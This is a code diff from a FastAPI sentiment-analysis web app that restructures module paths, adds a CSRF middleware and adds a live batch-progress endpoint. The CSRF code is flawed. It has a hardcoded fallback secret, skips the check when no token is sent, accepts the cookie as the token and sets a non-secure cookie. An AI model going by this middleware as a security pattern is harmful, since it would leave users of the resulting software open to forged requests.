{src/absa β†’ app/middleware}/__init__.py RENAMED
File without changes
app/middleware/csrf.py ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import re
3
+ from typing import Optional
4
+ from itsdangerous import URLSafeTimedSerializer, BadSignature, SignatureExpired
5
+ from starlette.middleware.base import BaseHTTPMiddleware
6
+ from starlette.requests import Request
7
+ from starlette.responses import Response
8
+
9
+ _CSRF_SECRET = os.getenv("CSRF_SECRET", "unsafe-default-change-in-production")
10
+ _CSRF_SALT = "csrf-token"
11
+ _SAFE_METHODS = {"GET", "HEAD", "OPTIONS", "TRACE"}
12
+ _EXEMPT_PATHS = {"/metrics", "/health", "/info", "/docs", "/openapi.json"}
13
+
14
+ _serializer = URLSafeTimedSerializer(_CSRF_SECRET, salt=_CSRF_SALT)
15
+
16
+
17
+ def generate_csrf_token() -> str:
18
+ return _serializer.dumps("csrf")
19
+
20
+
21
+ def validate_csrf_token(token: str, max_age: int = 3600) -> bool:
22
+ try:
23
+ _serializer.loads(token, max_age=max_age)
24
+ return True
25
+ except (BadSignature, SignatureExpired):
26
+ return False
27
+
28
+
29
+ class CSRFMiddleware(BaseHTTPMiddleware):
30
+ async def dispatch(self, request: Request, call_next):
31
+ path = request.url.path
32
+ needs_csrf = request.method in {"POST"} and path.endswith("/fragment")
33
+ is_html_page = request.method in _SAFE_METHODS and not path.startswith("/api/") and not path.startswith("/static/") and path not in _EXEMPT_PATHS
34
+
35
+ if needs_csrf:
36
+ csrf_cookie = request.cookies.get("csrf_token", "")
37
+ csrf_header = request.headers.get("X-CSRF-Token", "")
38
+ token = csrf_header or csrf_cookie
39
+
40
+ if token and not validate_csrf_token(str(token)):
41
+ from fastapi.responses import HTMLResponse
42
+ return HTMLResponse(
43
+ content="<h1>403: CSRF validation failed</h1><p>Invalid or expired token. Please refresh the page.</p>",
44
+ status_code=403,
45
+ )
46
+
47
+ response: Response = await call_next(request)
48
+
49
+ if is_html_page:
50
+ response.set_cookie(
51
+ key="csrf_token",
52
+ value=generate_csrf_token(),
53
+ max_age=3600,
54
+ secure=False,
55
+ httponly=True,
56
+ samesite="lax",
57
+ )
58
+
59
+ return response
{api/app β†’ app}/middleware/dependencies.py RENAMED
File without changes
{api/app β†’ app}/middleware/metrics.py RENAMED
File without changes
{src/data β†’ app/routes}/__init__.py RENAMED
File without changes
{api/app β†’ app}/routes/pages.py RENAMED
@@ -27,10 +27,13 @@ GET /monitor/health-partial) will be added in Phases 3-5.
27
  """
28
  from __future__ import annotations
29
 
30
- from fastapi import APIRouter, Request
31
  from fastapi.responses import HTMLResponse
 
32
 
33
- from api.app.core.templates import templates
 
 
34
 
35
  # include_in_schema=False keeps these HTML routes out of the OpenAPI / Swagger UI.
36
  router = APIRouter(include_in_schema=False)
@@ -51,12 +54,15 @@ def _base_ctx(request: Request, page_title: str, **extra: object) -> dict:
51
 
52
  Every page renderer calls this so the sidebar and header always receive
53
  the nav items and the current path (for active-link highlighting).
 
54
  """
 
55
  return {
56
  "request": request, # required by Jinja2Templates
57
  "page_title": page_title,
58
  "nav_items": _NAV_ITEMS,
59
  "current_path": request.url.path,
 
60
  **extra,
61
  }
62
 
@@ -98,7 +104,7 @@ async def batch_page(request: Request) -> HTMLResponse:
98
  )
99
 
100
 
101
- from api.app.routes.results import health_check
102
 
103
  @router.get("/monitor", response_class=HTMLResponse)
104
  async def monitor_page(request: Request) -> HTMLResponse:
@@ -113,13 +119,50 @@ async def monitor_page(request: Request) -> HTMLResponse:
113
  ctx = _base_ctx(request, "System Monitor", health=None, error="Service temporarily unavailable")
114
 
115
  return templates.TemplateResponse("pages/monitor.html", ctx)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
116
  # ── Phase 3 HTMX Endpoints ───────────────────────────────────────────────────
117
 
118
- from fastapi import Depends, Form
119
- from sqlalchemy.orm import Session
120
- from api.app.middleware.dependencies import get_db
121
- from api.app.schemas.schemas import ReviewInput
122
- from api.app.routes.predict import predict as predict_json
123
 
124
  @router.post("/predict/fragment", response_class=HTMLResponse)
125
  async def predict_fragment(
@@ -150,7 +193,7 @@ async def predict_fragment(
150
  # ── Phase 4 HTMX Endpoints ───────────────────────────────────────────────────
151
 
152
  from fastapi import UploadFile, File
153
- from api.app.routes.predict import predict_batch, get_batch_status
154
 
155
  @router.post("/batch/fragment", response_class=HTMLResponse)
156
  async def batch_fragment(
 
27
  """
28
  from __future__ import annotations
29
 
30
+ from fastapi import APIRouter, Request, Depends, Form
31
  from fastapi.responses import HTMLResponse
32
+ from sqlalchemy.orm import Session
33
 
34
+ from app.core.templates import templates
35
+ from app.middleware.csrf import generate_csrf_token
36
+ from app.middleware.dependencies import get_db
37
 
38
  # include_in_schema=False keeps these HTML routes out of the OpenAPI / Swagger UI.
39
  router = APIRouter(include_in_schema=False)
 
54
 
55
  Every page renderer calls this so the sidebar and header always receive
56
  the nav items and the current path (for active-link highlighting).
57
+ Also includes CSRF token for HTMX form submissions.
58
  """
59
+ from app.middleware.csrf import generate_csrf_token
60
  return {
61
  "request": request, # required by Jinja2Templates
62
  "page_title": page_title,
63
  "nav_items": _NAV_ITEMS,
64
  "current_path": request.url.path,
65
+ "csrf_token": generate_csrf_token(),
66
  **extra,
67
  }
68
 
 
104
  )
105
 
106
 
107
+ from app.routes.results import health_check
108
 
109
  @router.get("/monitor", response_class=HTMLResponse)
110
  async def monitor_page(request: Request) -> HTMLResponse:
 
119
  ctx = _base_ctx(request, "System Monitor", health=None, error="Service temporarily unavailable")
120
 
121
  return templates.TemplateResponse("pages/monitor.html", ctx)
122
+ # ── SSE Endpoint for batch progress ──────────────────────────────────────────
123
+
124
+ import asyncio
125
+ import json
126
+ from sse_starlette.sse import EventSourceResponse
127
+
128
+ @router.get("/api/batch/progress/{job_id}")
129
+ async def batch_progress_sse(job_id: str, db: Session = Depends(get_db)):
130
+ """
131
+ SSE endpoint for live batch progress updates.
132
+ Clients connect via EventSource and receive progress events every 2 seconds.
133
+ """
134
+ async def event_generator():
135
+ try:
136
+ import re
137
+ if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
138
+ yield {"event": "error", "data": json.dumps({"detail": "Invalid job ID"})}
139
+ return
140
+
141
+ while True:
142
+ job = await get_batch_status(job_id, db)
143
+ data = {
144
+ "job_id": job.job_id,
145
+ "status": job.status,
146
+ "total_reviews": job.total_reviews,
147
+ "processed": job.processed,
148
+ "result_url": job.result_url,
149
+ }
150
+ yield {"event": "progress", "data": json.dumps(data)}
151
+
152
+ if job.status in ("completed", "failed"):
153
+ yield {"event": job.status, "data": json.dumps(data)}
154
+ break
155
+
156
+ await asyncio.sleep(2)
157
+ except Exception:
158
+ yield {"event": "error", "data": json.dumps({"detail": "Failed to fetch job progress"})}
159
+
160
+ return EventSourceResponse(event_generator())
161
+
162
  # ── Phase 3 HTMX Endpoints ───────────────────────────────────────────────────
163
 
164
+ from app.schemas.schemas import ReviewInput
165
+ from app.routes.predict import predict as predict_json
 
 
 
166
 
167
  @router.post("/predict/fragment", response_class=HTMLResponse)
168
  async def predict_fragment(
 
193
  # ── Phase 4 HTMX Endpoints ───────────────────────────────────────────────────
194
 
195
  from fastapi import UploadFile, File
196
+ from app.routes.predict import predict_batch, get_batch_status
197
 
198
  @router.post("/batch/fragment", response_class=HTMLResponse)
199
  async def batch_fragment(
{api/app β†’ app}/routes/predict.py RENAMED
@@ -7,11 +7,11 @@ import tempfile
7
  import time
8
  import re
9
 
10
- from api.app.schemas.schemas import ReviewInput, PredictionResponse, BatchJobResponse
11
- from api.app.schemas.db_models import Review, AspectResult, BatchJob
12
- from api.app.middleware.dependencies import get_db
13
- from api.app.services.absa_pipeline import pipeline
14
- from api.app.tasks.batch_tasks import process_batch
15
  router = APIRouter()
16
 
17
 
@@ -114,7 +114,11 @@ async def predict_batch(file: UploadFile = File(...), db: Session = Depends(get_
114
  async def get_batch_status(job_id: str, db: Session = Depends(get_db)):
115
  if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
116
  raise HTTPException(status_code=400, detail="Invalid job ID format")
117
- job = db.query(BatchJob).filter(BatchJob.id == job_id).first()
 
 
 
 
118
  if not job:
119
  raise HTTPException(status_code=404, detail="Job not found")
120
 
 
7
  import time
8
  import re
9
 
10
+ from app.schemas.schemas import ReviewInput, PredictionResponse, BatchJobResponse
11
+ from app.schemas.db_models import Review, AspectResult, BatchJob
12
+ from app.middleware.dependencies import get_db
13
+ from app.services.absa_pipeline import pipeline
14
+ from app.tasks.batch_tasks import process_batch
15
  router = APIRouter()
16
 
17
 
 
114
  async def get_batch_status(job_id: str, db: Session = Depends(get_db)):
115
  if not re.match(r'^[a-fA-F0-9\-]{36}$', job_id):
116
  raise HTTPException(status_code=400, detail="Invalid job ID format")
117
+ try:
118
+ job_id_uuid = uuid.UUID(job_id)
119
+ except ValueError:
120
+ raise HTTPException(status_code=400, detail="Invalid job ID format")
121
+ job = db.query(BatchJob).filter(BatchJob.id == job_id_uuid).first()
122
  if not job:
123
  raise HTTPException(status_code=404, detail="Job not found")
124
 
{api/app β†’ app}/routes/results.py RENAMED
File without changes
{src/evaluation β†’ app/schemas}/__init__.py RENAMED
File without changes
{api/app β†’ app}/schemas/db_models.py RENAMED
File without changes
{api/app β†’ app}/schemas/schemas.py RENAMED
File without changes
{src/languages β†’ app/services}/__init__.py RENAMED
File without changes
{api/app β†’ app}/services/absa_pipeline.py RENAMED
@@ -18,8 +18,8 @@ from pathlib import Path
18
  from typing import List, Tuple
19
  import numpy as np
20
 
21
- from api.app.schemas.schemas import PredictionResponse, AspectSentiment
22
- from api.app.services.lang_service import lang_service
23
 
24
  # ── Optional heavy imports (ONNX custom models) ───────────────────────────────
25
  try:
 
18
  from typing import List, Tuple
19
  import numpy as np
20
 
21
+ from app.schemas.schemas import PredictionResponse, AspectSentiment
22
+ from app.services.lang_service import lang_service
23
 
24
  # ── Optional heavy imports (ONNX custom models) ───────────────────────────────
25
  try:
{api/app β†’ app}/services/lang_service.py RENAMED
File without changes